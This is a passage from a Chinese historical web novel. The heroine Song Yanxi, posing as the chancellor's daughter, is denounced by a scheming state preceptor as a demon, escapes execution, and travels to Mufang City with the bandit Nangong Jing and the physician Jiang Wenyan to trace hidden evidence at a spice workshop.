不过也看得出来,这小子家境殷实。 跑了这么多地方,这小子是一点生活的苦都没吃到啊。还是一如既往的,傻。 二人正说着话,李梦安屋里的丫鬟急匆匆朝这边跑了过来。 见蒋文彦背着药箱,她一把拉住蒋文彦的手就往前冲:“你就是揭榜的大夫吧,快随我来。” “等等等等。” 蒋文彦一把甩开那丫鬟的手,朝宋颜夕的方向指了指:“真正的大夫在那儿呢。” 宋颜夕赶紧摆手:“他开玩笑呢。我哪儿会什么医术啊。” 蒋文彦愣了一下:“可是师......” 宋颜夕直接将双手搭在他后背,推着他往前走了两步:“还磨蹭什么呢?给郡主治病要紧。” 蒋文彦是被推拉着进房的。 刚进去,就看到一脸沉重的大长公主。 “文彦见过大长公主。” 蒋文彦赶紧放下药箱,在大长公主面前跪下,端端正正行了个礼。 落后一步的宋颜夕见此,目光在蒋文彦和大长公主之间来回。 蒋文彦竟然认识大长公主? 不仅如此,大长公主也是认得蒋文彦的。 她亲自将蒋文彦带到床前:“是文彦啊,来得正好,快替梦安瞧瞧。她到底得了什么病。” “公主,请容我让人替梦安收拾一下。” 卢郡王拦在床前,虽然救人要紧,但蒋文彦毕竟是男子。 李梦安尚未出阁,又是这般模样,被瞧见了总是不好。 大长公主却直接将他拉到一边:“不必如此麻烦。这帘子一遮,你让他如何辨证?” “可是表姐......” 大长公主扫了卢郡王一眼:“我知你的想法,但梦安情况紧急,已经顾不得许多了。文彦的医术本宫是信得过的,品格更是顶好。你且放宽心。” 宋颜夕摸了摸下巴。 看来,大长公主不仅认识蒋文彦,还十分信赖他。 这个蒋文彦,到底是什么人? 那边,蒋文彦已经开始替李梦安治病。 他先是观察了李梦安的状态,然后坐下替她诊脉。 越诊,眉头皱得越深。 “怎么样?梦儿的病,可还能治?”卢郡王急切地问道。 蒋文彦却朝宋颜夕这边看了过来。 “师傅,您觉得呢?” 第117章:祸国妖孽? “师傅?” 所有人都看向宋颜夕。 宋颜夕也指了指自己:“这位公子,您是在叫我吗?” 蒋文彦:...... 师父对他用敬语,怪不习惯的。 不过他算是明白宋颜夕的意思了。她,并不想让这些人知道他们之间的关系。 意识到这一点之后,蒋文彦轻咳一声:“抱歉抱歉,以往都是和师傅一同行医,习惯了。” 卢郡王这才继续问道:“梦儿的病?” “郡主的病,十分怪异。” 蒋文彦走到一旁,与卢郡王交谈。 大长公主朝宋颜夕招了招手:“丫头你别多想,卢郡王只是爱女心切,对你没有恶意的。” 宋颜夕笑了笑:“我理解的。” 从大长公主口中得知,李梦安是在二十里外的一处荒山中被找到的。 找到李梦安的时候,她手里还拽着一块黝黑的瓷片。 “那瓷片可在郡王府?”宋颜夕问。 大长公主摇了摇头:“卢郡王不谙此道,便将瓷片送到安远侯府了。” 柳如风能被圣上亲封为“锦心公子”,与他的博学密不可分。 那片不知来历的黑瓷片,卢郡王已经问了许多人,没有人知道那瓷片的出处。 柳如风是他最后的希望了。 离开卢郡王府后,大长公主直接命人将宋颜夕送回了丞相府。 刚进大门,就见紫翎快步走了上来。 “古德茂进了国师府,我们的人传来消息,国师扬言,上京城出了祸国的妖物。”紫翎在宋颜夕耳边低声说了一句。 宋颜夕脚步一顿。 祸国妖物? 为什么她有一种不祥的预感呢? 事实证明,她的第六感很准。 第二天,国师便开坛作法,将妖物的范围锁定在安远侯府。 原本此事倒也与宋颜夕没什么关系。 但国师在安远侯府找到那片黑瓷,然后又顺着黑瓷,锁定了丞相府。 “胡说八道,我宋府怎么会有祸国妖孽。” 丞相府前厅,宋章三兄弟坐在那儿,此外,还有一个手拿拂尘的白胡子老头。 此时此刻,厅上的气氛有些剑拔弩张。 国师口口声声说丞相府藏了祸国妖孽,带了人要进府搜查。 宋章不好将此事闹得太大,只能先将人带进府,将人安置在前厅。 国师捋了捋花白的胡子,眼中是目空一切的高傲:“宋相拦着不让查,莫不是要本国师启奏圣上吗?” 宋章也不含糊:“少拿圣上来压我,国师轻描淡写一句话就要污蔑我宋家出了妖孽,便是到了圣上面前,我也不认这莫须有的罪。” 宋章一声令下,宋德和宋鑫几乎是同时站了起来。 国师挥了一下拂尘:“既然宋相如此不配合,咱们便走着瞧吧。” 当紫翎将前厅的消息传给宋颜夕的时候,她正在观察那颗青色的珠子。 这珠子,若是不飞起来,瞧着倒是与普通珠子也没什么不同。 但只要宋颜夕将它扔了,它又会屁颠屁颠“飞”回来找她。 “你是说,国师认定那祸国妖孽就在相府?” 说这话的时候,她感觉到掌心的珠子跳动了一下。 她的眼角挑了挑,该不会,说的就是手里这东西吧? “是的姑娘,宋相不让国师搜查,国师便扬言要向陛下请旨。或许过不了两日,宫里的旨意便会下来了。” 紫翎之所以做出这样的判断,是因为自古帝王皆无法容任何一个“祸国妖孽”。 宋颜夕也是这么认为的。 因此,她在接下来的两天做了很多准备功夫。 然而出乎意料的是,皇帝并没有下旨搜查丞相府。不仅如此,他还呵斥了国师,认为国师是在挑拨君臣关系。 “皇帝当真是这么说的?” 这个消息是南宫景带给她的。 此时此刻,南宫景依然作“阿呆”打扮,正坐在宋颜夕对面逗弄那颗青色珠子。 他将那珠子往角落里一拍,道:“没错,所以你尽管放心。那个神棍不会再来打扰你了。” 被拍到地上之后,那珠子原地跳了好几下,然后,如一道闪电一边朝南宫景身上飞了过来。 南宫景一个侧身,躲过那珠子的攻击。 珠子扑了个空,重重砸在斜对面的珠子上。 力道之大,竟然直接将柱子砸出一个洞。 “朝堂上的消息,你是如何得知的?”宋颜夕看了那柱子一眼,便转头看向南宫景。 “山人自有妙计。” 见宋颜夕仍然疑惑,南宫景只能继续说道:“还记得万花楼吗?” “此事怎么还和万花楼扯上关系了?”宋颜夕记得,那万花楼当初是被这男人一把火烧了吧。 “当初,吕刚利用万花楼培养了一批细作,那些细作如今便被安插在那些权贵的后宅之中。” 宋颜夕诧异:“你竟然掌握了那份名单?” 这是他一个山贼能干的事儿吗?要知道,那些权贵的后宅藏着多少秘密啊。 一旦掌握了那些秘密,无疑是捏住了那些大人物的命门。 南宫景默默朝她那边挪了两步:“倒也没有完全掌握,不过,宋姑娘有什么想知道的,我都可以告诉你。” 宋颜夕还真有件事情想知道,她指了指窗外,压低声音问道:“丞相府可有吕刚安排的细作?” 南宫景点头:“有。” “是谁?”宋颜夕问。 南宫景贴在她耳边,跟她说了几个字。 宋颜夕扯了扯嘴角:“竟然是她?” ...... 虽然国师没再来找宋章的麻烦,但丞相府却迎来了另外一个“不速之客”。 看着那剑拔弩张的阵仗,宋颜夕默默摇了摇头。 看来,卢郡王是把李梦安的账都算在宋府头上了。 “郡王这是何意?圣上都说了,不得再提妖孽之事。”宋章刚下朝就被卢郡王堵在门口,这会儿街道上人来人往,已经有不少老百姓蹲着看热闹。 宋颜夕就是其中一人。 此时,她正领着紫翎外出,刚出府门就见卢郡王带了一帮人气势汹汹地围住丞相府。 出于好奇,她隐在人群中当起了看客。 但事实证明,好奇心这东西不能有。 正当她想看看宋章如何应对不讲道理的卢郡王时,卢郡王却一眼看到了人群中的她。 那一刻,宋颜夕心中闪过一个不详的预感。 第118章:我和你一起去 “我家梦儿如今邪祟缠身,都是宋彩衣这不祥之人害的。宋相若是不让我进府除祟,我便只能将这不详之人带走了。” 宋颜夕很快被带到他们面前。 看到宋颜夕的时候,宋章忍不住捏了捏眉心:“这大清早的,你在府外做什么?” 宋颜夕装出一副弱小可怜的模样:“女儿听说父亲的生辰快到了,便想着出门买件礼物送给父亲,原本是想给父亲一个惊喜的。父亲,女儿当真如郡王所说,是个不详之人吗?” 说着,她努力挤出一滴泪:“若不是因为欺负我,梦安郡主也不会被大长公主责罚,若不是被关禁闭心情不好,梦安郡主也不会偷跑出去遭了难。这一切的源头,是我。是我从一开始就不该回到上京城,不该回到父亲您的身边。父亲,您便把我交出去吧,无论郡王是打是罚,我都认了。” 看着宋颜夕这视死如归的模样,跟在一旁的紫翎都忍不住差点笑出声来。 他们家姑娘的演技,是越发炉火纯青了。 周围看热闹的百姓顿时炸开了锅:“原来,是郡主先欺负宋姑娘的。” “我看这宋二姑娘柔柔弱弱的,若是真被郡王带走,怕是......唉,真是可怜了这小姑娘。” “这不是还有宋丞相在吗?难道,他还能让自己女儿在自家门口被欺负了不成?” 最后一句话有些耳熟,宋颜夕转头看去,正好看到南宫景在人群中冲她眨眼睛。 眼看围观群众议论纷纷,卢郡王的脸色越发阴沉了。 “宋彩衣,你在胡说什么?我家梦儿何时欺负你了?” 宋颜夕被“吓得”后退两步,整个人瑟瑟发抖:“郡王说得是,郡主从来没有欺负我,是我,是我记错了。” “宋相果真是养了个好女儿啊。” 卢郡王也不傻,怎么看不出宋颜夕是装的。同样,宋章也瞧出来了。 但眼下这情形,若真让卢郡王把宋颜夕带走了,无疑是将宋章的脸按在地上摩擦。 于是,宋章直接挡在宋颜夕面前,冷冷看向卢郡王:“小女说的是真是假,想必郡王心里清楚得很。今日本相就将话放在这儿了,不仅你带来的这些神棍进不了我宋府大门,我的女儿,你更别想带走。” 说罢,他朝身后招了招手。门房会意,立刻进府叫了一帮护卫出来。 卢郡王冷哼一声:“看来,宋相今日是非要阻拦本郡王了!” 随着他一声令下,郡王府的亲兵立刻亮出武器。 围观群众纷纷退散,生怕“城门失火,殃及池鱼”。 正在此时,一道青色身影急匆匆扒开四散的人群:“郡王且慢!” 宋颜夕挑眉,这小子不在郡王府替李梦安治病,怎么也跑这儿来了? “晚辈蒋文彦,见过郡王、宋相!”蒋文彦喘了几口粗气之后,朝他们二人行了个拱手礼。 宋章瞧了他一眼:“蒋文彦?可是镇北将军的独子?” “正是在下。” 宋颜夕看向蒋文彦,虽然猜到他家世不俗,却没想到竟然还出身武将之家。 不过这气质,倒真与将军府搭不上边。 那边,蒋文彦正在和卢郡王低声说着什么。卢郡王听了他的话之后,脸色一变。 “此话当真?” “郡王回府看看便是。” 卢郡王思索片刻,拂袖离去。离开之前,宋颜夕明显看到蒋文彦在冲她眨眼睛。 很显然,这小子已经知道了她如今的身份。 宋颜夕松了一口气,如此,这家伙应该不会再随意“认师父”了。 卢郡王离开以后,宋颜夕便被宋章叫到了书房。 宋颜夕“老实本分”地把她和李梦安之间的恩怨说了一遍。 宋章听完之后,面露不悦。 “发生了这样的事,她竟未告知于我。” 这个“她”,指的便是姜淑萍了。 宋颜夕轻声开口:“母亲也是不希望父亲为此事担忧,况且,这件事已经过去了……” “若真过去了,卢郡王今日怎么会借机发难?” 宋章顿了一下,朝她挥挥手,道,“你先下去吧,此事你无需再管,交给为父来解决。” “是,父亲。” 离开书房的时候,正好看到姜淑萍匆匆往这边走来。 四目相对的那一刻,宋颜夕看到她眼中一晃而过的冷意。 这还是进府这么久以来,头一回在她流露出真实的情绪。 宋颜夕假装没看到,朝她福身到打了个招呼。 姜淑萍朝她点头示意,没说一句话,直接转身进了书房。 ...... 回到梧桐苑的时候,却见南宫景已经坐在她屋内饮茶。 “你是真把这儿当自己地盘了是吧?” 宋颜夕一把夺过他手中的杯子,重重放在桌面上。 这好歹也是她的闺房。 南宫景重新端起杯子,将杯中之茶一饮而尽:“我可是你的贴身护卫,自然要离你近些。而且,我这边有个重要消息,宋姑娘可想知道?” 宋颜夕:“不想知道。” “和董昌有关。” “你是说,木坊城那边有消息了?” 提到董昌,宋颜夕立刻一脸正色:“你派去的人,找到惠姑了?” “找到了。” “那董昌留下的证据......” 说到这个,宋颜夕压低了声音:“董昌的幕后之人,究竟是谁?” 她必须知道,是谁在背后和董昌勾结。 然而南宫景的答案却让她心里一凉。 他派去的人的确找到惠姑,而且,从惠姑口中得到了线索。但就在他们去取线索的时候,却遭到了不明力量的攻击。 “证据被夺走了?”宋颜夕问。 “那倒没有,但,带着证据的那个人,失踪了。我的人也无法找到他。但有一点可以确定,董昌背后的人也没有找到他。” “我们尚且不知道对方的底细,那个人很危险。” 南宫景点头:“所以,我想去一趟木坊城。这段日子,我会派人扮演阿呆继续保护你。我不在的时候,你......” 南宫景还没说完,却听宋颜夕说了一句:“我和你一起去。” “你说什么?” 第119章:国师又来了 南宫景停顿片刻,但很快就摇了摇头:“不行。此行太过危险,你还是待在京城。” “京城便安全吗?”宋颜夕反问。 对视的那一刻,南宫景便明白宋颜夕心中所想。 那件事对她太重要了,现在的她,还没有办法完全信任他。 “好,交给我来安排。” “尽快出发。”宋颜夕说道。 “这几日你且小心些,那个神棍不会善罢甘休。”离开前,南宫景提醒了一句。 就在南宫景出府准备木坊城事宜时,国师果然再次来到丞相府。 这一次,他带着先帝所赐的丹书直接闯入了宋府后宅。 先帝曾有令,见丹书,如见天子。 显然,先帝是极为信赖国师的。丹书一出,便是宋章也无法阻拦国师。 这是宋颜夕第一次近距离观察这个传说已经有两百多岁的男人。 此时此刻,他正站在梧桐苑那张匾额之下。 “这就是宋相那个从乡下接回来的千金?”国师捋了捋胡子,看向宋颜夕的时候,眼中闪过不屑。 宋章的脸色很不好,并不想搭理国师。 最后,还是宋德开口答了一句:“国师说得没错,这便是我那二侄女,宋彩衣。” 国师扫了一些拂尘,口中念念有词。最后,对着宋章说道:“宋相可要小心了,此女命中带煞,早晚有一日会祸及相府。” 此话一出,宋章的脸色更难看了,若非他两个弟弟死命拉着他,这位文官之首怕是要当场和国师扭打起来。 此时此刻,宋颜夕倒是觉得她这位便宜爹爹还挺可爱。 至于国师的那些话,她丝毫没放在心上。 神棍之言,纯属无稽之谈。 他若真有本事,一眼便能认出她是个“冒牌货”啦。 国师显然并没有把太多心思放在她身上,说了那几句话之后便大手一挥,命人开始全府搜查“祸国妖孽”。 看着那些人翻箱倒柜的动作,宋颜夕暗暗偷笑。 那男人说得果然没错,国师此举,根本就是冲着那个“盒子”来的。 只是他不知道,盒子早就不在丞相府了。 什么祸国妖孽啊,根本就是国师自导自演的戏。 就连古德茂和李梦安的事,怕也是他做的手脚。 他早就调查了古德茂和宋章的关系,利用一个老檀木盒子将古德茂拉入局中,又对李梦安下了某种致幻的毒,让她看起来就像中邪一般。 一环接一环,目的,就是光明正大地进入相府搜查。 他的目的,也是那批黑铁矿。 那天,南宫景告诉她。当初在骊阳城将他打伤并对他下毒的,也是国师的人。 也就是说,国师就是在幕后偷盗黑铁矿的人。 当初立安堂那件事发生之后,藏匿黑铁矿的地图被泄露,国师便一直在追查那个梅花盒子的下落。 他虽然锁定了宋章,却一直按兵不动,暗中谋划许久,直到近日才真正将矛头指向宋章。 宋颜夕偷偷看向宋章的方向,她这个便宜老爹,到底知不知道那个盒子里藏着的秘密呢? 那个盒子,究竟被转移到何处了呢? 很显然,国师并没能在丞相府搜到他想要的东西。 直到最后一个院子搜索完毕,国师的脸色也从一开始的胜券在握变成了猪肝色。 “怎么样国师,你说的祸国妖孽呢?” 见他脸色沉郁,宋章反倒开心了。 他甚至都不看那些被翻得乱七八糟的房间,大袖一挥道,“国师今日若是不给我一个说法,明日到了殿前,本相定要参你个污蔑同僚的罪名。” “宋相急什么?” 能够把先帝耍得团团转,国师自然是有几分当神棍的本事的。 就比如此时,他计划落空,反手就将锅甩到宋颜夕身上。 “那个祸国妖孽,便是她!” 看着国师那只指向她脑门的手,宋颜夕眯了眯眼。 她若是把那只手剁下来,不知道算不算坐实了这妖孽的罪名。 “我就说不能把这丫头接回来吧,你们非不听!照我看啊,就该让国师把这扫把星带走。” 宋章还没来得及说话,便有人抢先他一步。 老夫人是在宋娇娇的搀扶下走进来的,经过国师身边的时候,还不忘向他投去一个礼貌的微笑。 “从今天开始,这丫头就不是我们宋府的人了,国师尽管将她带走,我们绝不阻拦。” 国师再次挥动拂尘:“老夫人放心,此事都是这妖孽一人之罪,不会祸及相府。” “母亲,你在说什么胡话呢?彩儿怎么会是祸国妖孽?” 面对老夫人,宋章便是有满腹怒火,也只能都先压下。 世人都知道,宋章是个大孝子。 当初,便是因为老夫人不喜欢他的原配妻子,非逼着宋章娶了当时名动京城的贵女姜淑萍。 就连宋彩衣刚出生就被扔到庄子里,也是因为老夫人的缘故。 所以哪怕如今老夫人要国师将宋颜夕带走,宋章也只是压低声音反抗了一句。 但他的反抗并没有用,老夫人使出那“一哭二闹三上吊”的把戏之后,宋章只能硬着头皮默许了她的行为。 宋颜夕顿时觉得她这便宜老爹又不可爱了。 是啊,当初接她回来不过是为了让她代替宋婉儿嫁给柳如风,如今婚事取消,便没了她的利用价值。 就连当初对她温言细语的姜淑萍,如今也没了与她虚与委蛇的兴致。从头到尾,连一句表面上的关心都不曾有。 紫翎、春分见此,几乎要按捺不住上前剐了那白胡子道人。却被宋颜夕不动声色地拦下了。 “姑娘,此事您能忍,我们可忍不了。”紫翎面露凶光。 宋颜夕拍了拍她的手:“放心吧,你姑娘我行得正坐得端。就算是国师手上有先帝的丹书,也不能草菅人命吧。” 最后一句话,她说得还挺大声。相信在场的人都听到了。 但,无人应答。 被带走之前,宋章看到了宋颜夕眼中一闪而过的戏谑。 那一刻,他的老脸顿时一片通红。 一直到宋颜夕被带出府门,宋章终于忍不住追上来问了一句。 “国师打算如何处置她?” 国师捋了捋胡子,说出的话冰冷得仿佛没有感情的机器:“自然是,处以火刑!” 第120章:路上偶遇 宋颜夕并没有真的被执行火刑,因为她在押往刑场的途中,忽然消失了。 事情发生得太过突然,众人只知道当时起了一阵大雾。 等到雾气散尽时,囚车里已经没了宋颜夕的身影。 宋颜夕消失之后,京中流言四起。 有人说宋颜夕真的是妖孽转世,甚至还有传言,在大雾时,有人看见了九尾狐真身。 那几日,丞相府门前总是被人泼黑狗血。宋章的脸色越发阴沉,而老夫人也开始捂着胸口装病。 当然,也有人替宋颜夕说话。说她之所以在行刑前消失,便是因为天神不忍心让无辜的人枉死。 最后,还是大长公主力挺宋颜夕,这才将这场舆论彻底压了下去。 但关于她的这些言论,宋颜夕都听不见。因为此时此刻,她已经离开了上京城。 一起出发的,还有紫翎和春分。 南宫景也带了两个人,但宋颜夕认识的只有林昊。 “在下左翼,见过宋姑娘。” 许是看出她的打量,左翼主动介绍自己。 为了掩人耳目,宋颜夕这一路上都戴着面纱。他们扮作香料商人,一路从往木坊城的方向而去。 此时,他们就在官道旁的一处茶寮歇脚。 宋颜夕点头,指了指春风和紫翎,道:“这是我的两位妹妹,春风和紫翎。” 说完之后,宋颜夕看向南宫景:“你还没告诉我呢,那大雾你到底是怎么弄的?还有啊,你怎么知道国师会在那天对我,哦不,应该是对那东西出手?” 南宫景冲她挑眉:“你答应我的条件,我就告诉你。” 宋颜夕反问:“何二哥这般,就不怕你心上人吃醋?” 不久之前,他们因为乔装的事发生了争吵。宋颜夕想要和南宫景以“姐弟”相称。 南宫景却认为,装成夫妻更为稳妥。 问了其他四人,他们也是分别支持自己的主子。 如此一来,就打了个三比三的平手。 一直到现在,他们的“关系”都还没有定下来。 南宫景淡定地喝了一口茶:“她不会吃醋的,你就说,答不答应吧?” “我......” “师父,可让我找到你了。” 宋颜夕还没来得及回答,就被另外一道声音打断。 抬眼一看,一阵“青风”便刮到了眼前。 “额,你怎么来了?” 没错,眼前这道青影,正是蒋文彦。 这小子不是在给李梦安治病吗?怎么也跟着跑出来了? 蒋文彦朝她行了个抱拳礼,想了想,又向南宫景抱了个拳:“师丈也在呢?” 一声“师丈”,让宋颜夕脸色一僵。 南宫景倒是很受用,甚至还贴心地给他递了一杯茶:“赶路很辛苦吧?来,坐下喝茶。” “多谢师丈!” 那“父慈子孝”的一幕,看得其他五人啧啧称奇。 南宫景朝宋颜夕眨眼: 【你看吧,就连蒋公子也认为咱们是一对儿,还不赶紧采纳我的提议?】 宋颜夕转过头去不看他。 若是以前,她倒也无所谓。但她总觉得这男人最近奇奇怪怪的,以防万一,还是得和他“保持距离”。 为了转移话题,她看向蒋文彦:“对了蒋公子,你不在卢郡王府好好替郡主看病,出城做什么?” “郡主的病都是小问题,吃些药就好了。徒儿还是关心师父您呐。” “我?”宋颜夕指了指自己。 “京城的人都说您凭空消失了,但徒儿是知道师父的本事的,我猜测您应该是出城了,所以才一路追赶而来。” 听了蒋文彦的叙述,宋颜夕轻叹一声:“没想到这大长公主还挺靠谱啊,我和柳如风的婚事都取消了,她竟然还会为我讲话?” 宋颜夕忍不住猜测,大长公主她,该不会是真的打算认她当义女吧? “这些都是小问题。” 南宫景扣了扣桌面,“等咱们解决了那件事,可是大功一件。到时候,百姓只会称颂你的义举。” “义举?” 宋颜夕但笑不语,这家伙该不会打算把那批黑铁矿上交国家吧? 这是他一个山贼该有的素养吗? 蒋文彦眨了眨眼睛,然后用很小很小的声音问了一句:“那件事,是什么事啊?” 宋颜夕拍了他脑袋一下:“与你无关。” 蒋文彦:…… 但他真的很想知道啊。 因为有了蒋文彦的加入,这一路上热闹了不少。 原因无他,这小子一心记挂着剩下的那十个病人,只要见着头疼脑热的病人,他就走不动道了,非得留下把人治好了才走。 宋颜夕原本是想趁着他治病救人的时候溜之大吉的。 但南宫景告诉她,木坊城是蒋文彦的地盘。 为了那件事,她不得不咬牙忍下。 原本只需要半个月的路程,他们硬生生走了一个月。 临近木坊城的时候,他们又遇见了另一个熟人。 “那不是,舒妤姑娘吗?” 看着不远处那个衣衫褴褛,拄着拐杖乞讨的女子,宋颜夕忍不住蹙了蹙眉? 这才多长时间不见,这姑娘怎么变成这样了? 蒋文彦也很是惊讶,还没等他们问明白,舒妤就已经软软倒在地上。 “快把她扶上马车。” 宋颜夕对紫翎和春分说道。 当舒妤苏醒的时候,他们已经进了城。 “恩人,是你们?我这是在哪儿啊?”舒妤揉了揉脑袋,眼中露出迷茫之色。 “这是木坊城,你在城外晕倒,是我们把你带进来的。” 宋颜夕将手中的药碗递给她,见她面露疑色,便解释了一句,“这是祛风寒的药。” “对了舒妤姑娘,分别之时你不是说到兖州寻亲去了吗?怎么会……” 提问的是蒋文彦。 “我的确是去了兖州,但没想到远房的亲戚靠不住。表面上收留我,实则在背地里暗暗将我发卖。我听说,那些土匪将人买去便是为了制作人皮灯笼。若非我拼死逃了出来,此刻只怕是已经……” 舒妤一边说,一边轻声啜泣。 蒋文彦怒极:“没想到这世间竟然还有如此穷凶极恶之人。” 再一次听到“人皮灯笼”这几个字,宋颜夕忍不住挑了挑眉毛。 她看向南宫景:“她口中的土匪,该不会是你们吧?” 舒妤一听这话,手中的碗“乓”一声摔在地上。 第121章:结香坊 “舒妤姑娘莫怕,我开玩笑的。” 见舒妤一副受了惊吓的模样,宋颜夕赶紧摆手。 说着,她还把南宫景一把拉到她面前,道:“你看他,长得如此丰神俊朗,怎么看都不像是山贼啦。” 听到“丰神俊朗”这几个字,南宫景的嘴角忍不住向上勾了勾。 正在此时,窗外传来一阵若有似无的哨声。 南宫景朝宋颜夕使了个眼色,宋颜夕会意,寻了个借口拉着南宫景离开了房间。 “是你的人?找到那个人的消息了?”宋颜夕问。 南宫景点头:“五里坡,山神庙。” “好,我们现在就出发。” 南宫景并没有阻拦,出发的时候,把紫翎以及林昊等四人一并带上了。 当他们赶到山神庙的时候,已经有一个村民打扮的人守在那儿。 见了南宫景,那人下意识要下跪行礼,却被林昊抢先一步打断。 “快说说,你们在木坊城有何发现?” 那人的目光在宋颜夕三人身上略一停留,见南宫景没有反对的意思才开口回答:“失踪的人叫刘朗,是我们十八分队的伙夫。那日,便是他负责盯梢。” 根据这人所说,就在惠姑领着他们去取物证的时候,忽然遭到埋伏。那个叫刘朗的伙夫因为临时出恭逃过一劫。 回来时,惠姑以及他们的人都已经遇害。 那些杀手夺走了惠姑早就备下的假证据,而真正的物证,一直在惠姑身上。 刘朗也是在埋葬他们的时候无意间发现这一点的。 “既然刘朗失踪,知情人又都已经遇害,你们是如何知晓此事的?”宋颜夕问。 “拿到证物后,刘朗联系过我们。但当我们赶到约好的地点时,他就不见了。” 宋颜夕和紫翎交换了一个眼神,同时问道:“你们约在哪儿?” 当时,刘朗和他们约在一个叫结香坊的地方见面。 木坊城盛产香草,而结香坊,便是香料制作和售卖之所。 结香坊的主人姓穆,是东越少有的女商人,这儿的人们都称她为穆坊主。 结香坊占地面积很大,是个五进院子,光是制作部的工人就有数十名。因为涉及制香秘术,一般不对外人开放。 “这可不是谈事情的地方啊,刘朗怎么会选在这儿见面呢?” 站在结香坊门前,宋颜夕和紫翎、春风围成一圈盘细节。 另一边,南宫景也低声和林昊说着什么。 两组人的目光在空气中交汇。 虽然没有说话,但他们似乎达成了某种共识。 半个时辰后,结香坊售香堂。 一个身穿褐色衣袍的中年男人看着宋颜夕等人,眼中闪过怀疑之色:“贵客想要盘下我们这一整年的香料?这可是一笔不菲的价钱啊。” 宋颜夕指了指坐在一旁的南宫景,道:“怎么,掌柜的是瞧不起我们吗?你可知这位爷是谁?” 说着,她走到掌柜身边,跟他低声说了几个字。 掌柜脸色一边,上下打量了南宫景一眼,见他气度不凡,眉眼间还流露出王霸之气,顿时放软了语气:“在下并非怀疑贵客,只是这么大的单子,必须由她亲自把关。眼下我们大坊主不在城中,在下也无法做主。” “哦?你们坊主不在木坊城?” “是啊,最快也得三日才能回呢。”掌柜回答。 “既然如此,那我们便去他处瞧瞧。我想,这木坊城也不止你们这一家香料坊吧?” 说罢,南宫景直接起身离开。 掌柜见此,立刻小跑着跟上:“贵客莫要着急啊,虽然我们大坊主要三日后才能回,但这三日之内,在下可以带你们参观咱们结香坊。我敢保证,在这木坊城,没有一家香坊能比我们更有实力。” “哦,是吗?” 南宫景和宋颜夕交换了一个眼神,不约而同抬腿继续往外走:“我们考虑考虑。” “贵客,贵客别走啊,我话还没说完呢。要不,我给你们看看咱们的香料啊。” 最后,南宫景和宋颜夕是被掌柜的“请”回结香坊的。 他们在结香坊转了一圈,掌柜的就安排他们在贵宾房住下了。 那殷勤的模样,生怕到嘴的鸭子飞了似的。 等到掌柜离开之后,几人围坐在一起。 “你们可有发现异常?” 众人摇头。 “刘朗失踪已经有一段时间了,就算有痕迹或许也已经被抹除。”林昊说。 “的确有这个可能。” 宋颜夕敲了敲桌面:“你们觉得这掌柜的如何?” 紫翎答道:“表面上没有问题,不过,他态度转变的也太快了。” 说到这儿,所有人都看向宋颜夕:“你到底跟他说什么了?” 宋颜夕摇了摇手:“不可说,不可说。” 虽然她没有明说,但南宫景已经从他的表情中得到了答案。 这丫头,肯定又给他编排了什么奇奇怪怪的身份。 穆坊主是在第三天傍晚回来的。期间他们又在结香坊四周查看了一番,仍然没有找到有用的线索。 倒是有一个负责晾晒香草的小工提及,曾经见到穆坊主和一个人发生争吵。 但他并没有看到那个人的容貌。 几人猜测,那个和穆坊主争吵的人就是刘朗。 是以,他们把怀疑的目光落在买个风情万种的女人身上。 “诸位就是老郑说的贵客吧?听说你们想买下我这一年的香料?” 穆坊主全名穆岚。在见到她之前,宋颜夕一直认为东越为数不多的女商人应该是雷厉风行的女强人。 没想到,竟然是个柔情似水的娇媚女人。 “没错,就是我们。我们在这结香坊也住了三日。今日见了穆坊主便是想问一问,这生意咱们是做还是不做?” “贵客说笑了,我们打开门就是为了做生意,送上门的买卖哪儿有不接的道理。” 穆岚朝老郑使了个眼色,老郑立刻递上一个金算盘。 修长的手指在算盘上飞舞,金灿灿的算珠被打得“啪啪”作响。 最后,穆岚抬眸看向他们:“按照结香坊一年的产量,贵客需支付我们三千两。” 宋颜夕:“三千两而已,我们……” 穆岚:“黄金!” “什么???” 宋颜夕几乎是跳了起来。 第122章:穆岚 还没等宋颜夕开口,南宫景立刻把她拉了回来。 “三千两黄金而已,确实便宜。你就算是高兴,也收敛些。” 宋颜夕顺势坐下,脸上丝毫看不出半点方才的情绪:“是啊,没想到穆坊主给的价格如此公道,这三天,算是没有白等。” 话音刚落,就连林昊掏出一沓银票交到老郑手中。 “这个,便当是定金。”南宫景说道。 穆岚大笑一声:“贵客果然痛快。好,咱们这桩生意便算是定下了。” 宋颜夕顺势说了一句:“不过,我们要的可是最好的货。郑掌柜先前带我们看的那些,怕不是你们这最好的……” 穆岚扫了老郑一眼,老郑立刻低下头。 “这个自然。这批货,我会亲自带贵客去看。” 那个最好的货仓并不在结香坊内,而是在城北的东云巷。 路上,宋颜夕低声问了一句:“你哪儿来那么多钱?” 南宫景随口应道:“总之,不偷不抢。” 看宋颜夕一脸不相信的样子,他幽幽叹了一口气,“这是我们寨子这些年的全部积蓄了。” 宋颜夕露出一副果真如此的表情。 她踮起脚拍了拍南宫景的肩膀:“放心吧,不会让你的钱打水漂的。” 正说着,忽然看见街角有人冲他们招手。 宋颜夕定睛一看,那个人群中最靚的仔,不正是蒋文彦吗? “怎么,贵客是见到熟人了?” 穆岚不知何时走到她身边。 宋颜夕摇头:“没有啊,我就是觉得,那位公子长得挺俊的。” 南宫景闻言,停下脚步看向宋颜夕:“你说什么?” “我说错了吗?你看那公子,唇红齿白的,一看就是……” 察觉到他们之间的微妙气氛,穆岚忽然掩嘴笑了起来。 “你笑什么?”宋颜夕问。 穆岚:“没什么,忽然很好奇,二位贵客是什么关系?瞧着,不像是兄妹吧。” “你看出来了?” 南宫景正要开口,宋颜夕抢先一步:“穆坊主好眼力,我们确实不是兄妹。其实我们是……姐弟!” 南宫景脚下一个踉跄。 【我把你当媳妇儿,你却想当我姐?】 “这样啊?” 穆岚的目光在他们二人之间流转,最后露出意味深长的笑:“原来是姐弟啊。” “穆坊主,这是要去哪儿啊?” 正说着,蒋文彦已经朝他们这边走了过来。 但他打招呼的对象却是穆岚。 “原来是蒋公子啊。” 穆岚和蒋文彦看起来关系还不错,打过招呼之后,竟然还在那话起了家常。 “看不出来,你的傻徒弟和这位穆坊主还是老熟人呢。”南宫景用仅有两人能听到的声音说道。 宋颜夕摆了摆手:“注意言辞啊,他可不是我徒弟。” “怎么,宋姑娘是想要出尔反尔?” “什么出尔反尔?他不是还没救满一百个人吗?” 满打满算,到现在也就救了九十五人而已。 宋颜夕扬了扬下巴,“说好了一百个人,差一个,甚至是半个都不行。” “半个?” 南宫景未免觉得好笑:“还能将人切成两半不成?” “那可未必。” 正说着,蒋文彦已经和穆岚话完家常。 